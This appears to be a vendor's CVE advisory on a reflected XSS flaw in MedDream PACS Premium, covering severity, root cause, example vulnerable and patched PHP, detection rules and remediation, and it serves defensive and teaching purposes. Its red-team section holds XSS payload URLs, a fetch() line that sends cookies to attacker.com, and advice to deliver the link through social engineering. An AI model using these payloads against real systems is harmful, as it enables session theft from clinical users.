CVE-2025-54861
Executive Summary
CVE-2025-54861 is a reflected cross-site scripting (XSS) vulnerability in the modifyCoercion functionality of MedDream PACS Premium version 7.3.6.870. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for healthcare environments using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary medical imaging software (MedDream PACS Premium). No supply chain attack vector is identified.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The XSS can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS is moderate, the context of medical PACS systems elevates the risk due to potential exposure of sensitive patient data and disruption of clinical workflows.
Deep Dive & Mechanics
The vulnerability resides in the modifyCoercion functionality of MedDream PACS Premium. This feature likely handles user input for modifying coercion rules (e.g., DICOM tag coercion). The application fails to properly sanitize or encode user-supplied input before reflecting it in the HTTP response. An attacker can inject arbitrary JavaScript by crafting a URL like:
https://target-pacs-server/modifyCoercion?param=<script>alert('XSS')</script>
When the victim visits this URL, the server reflects the malicious script in the page without proper escaping, causing the browser to execute it. The attack is reflected (non-persistent), meaning the payload is not stored on the server but delivered via the URL.
Root Cause: Lack of output encoding or input validation in the modifyCoercion endpoint. The application likely uses user input directly in the HTML response without applying context-aware escaping (e.g., HTML entity encoding).
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. A typical vulnerable snippet might look like:
// VULNERABLE CODE (example)
$param = $_GET['param'];
echo "<div>Coercion parameter: " . $param . "</div>";
A patched version would use proper output encoding:
// PATCHED CODE (example)
$param = $_GET['param'];
echo "<div>Coercion parameter: " . htmlspecialchars($param, ENT_QUOTES, 'UTF-8') . "</div>";
The patched code uses htmlspecialchars() to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy a local instance of MedDream PACS Premium 7.3.6.870 in a controlled lab environment.
- Craft Payload: Create a malicious URL:
http://localhost:8080/modifyCoercion?param=<script>alert(document.cookie)</script> - Deliver: Send the link to a victim (e.g., via email or social engineering).
- Execute: When the victim clicks the link, the JavaScript executes in their browser, potentially stealing session cookies or performing actions on their behalf.
Advanced Payload Example:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defense & Detection)
- Monitor Logs: Look for unusual URL patterns in web server logs, especially requests to
/modifyCoercionwith<script>tags or encoded JavaScript. - WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing
<script>oronerror=in query parameters. - User Training: Educate users not to click suspicious links, especially those containing unusual characters.
- Network Segmentation: Isolate the PACS server from the internet and restrict access to trusted IPs.
Indicators of Compromise (IOCs)
- URL Pattern: Requests to
/modifyCoercionwith query parameters containing<script>,javascript:,onerror=, or other XSS vectors. - HTTP Response: Responses from
/modifyCoercionthat include unescaped user input in the HTML body. - Log Entries: Web server logs showing
GET /modifyCoercion?param=<script>...with a 200 status code. - Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2025_54861_XSS_Detection {
meta:
description = "Detects reflected XSS attempts targeting MedDream PACS modifyCoercion endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54861"
strings:
$url_pattern = "/modifyCoercion"
$xss_payload1 = "<script"
$xss_payload2 = "javascript:"
$xss_payload3 = "onerror="
$xss_payload4 = "onload="
condition:
$url_pattern and any of ($xss_payload*)
}
Sigma Rule
title: Reflected XSS Attempt on MedDream PACS modifyCoercion
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-54861
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/modifyCoercion'
cs-uri-query|contains|any:
- '<script'
- 'javascript:'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of script tags in testing environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54861 Reflected XSS in MedDream PACS modifyCoercion"; flow:to_server,established; content:"/modifyCoercion"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If possible, disable the
modifyCoercionendpoint or restrict access to it via firewall rules. - Input Validation: Implement strict input validation on the
paramparameter, allowing only alphanumeric characters and specific safe characters. - Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding) for all user-supplied data reflected in responses.
- WAF Deployment: Deploy a Web Application Firewall with rules to block XSS payloads.
- Patch Monitoring: Monitor vendor channels for a security patch. If no patch is released, consider migrating to an alternative PACS solution.
- User Awareness: Train users to recognize and avoid phishing links.
Valters IT – Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.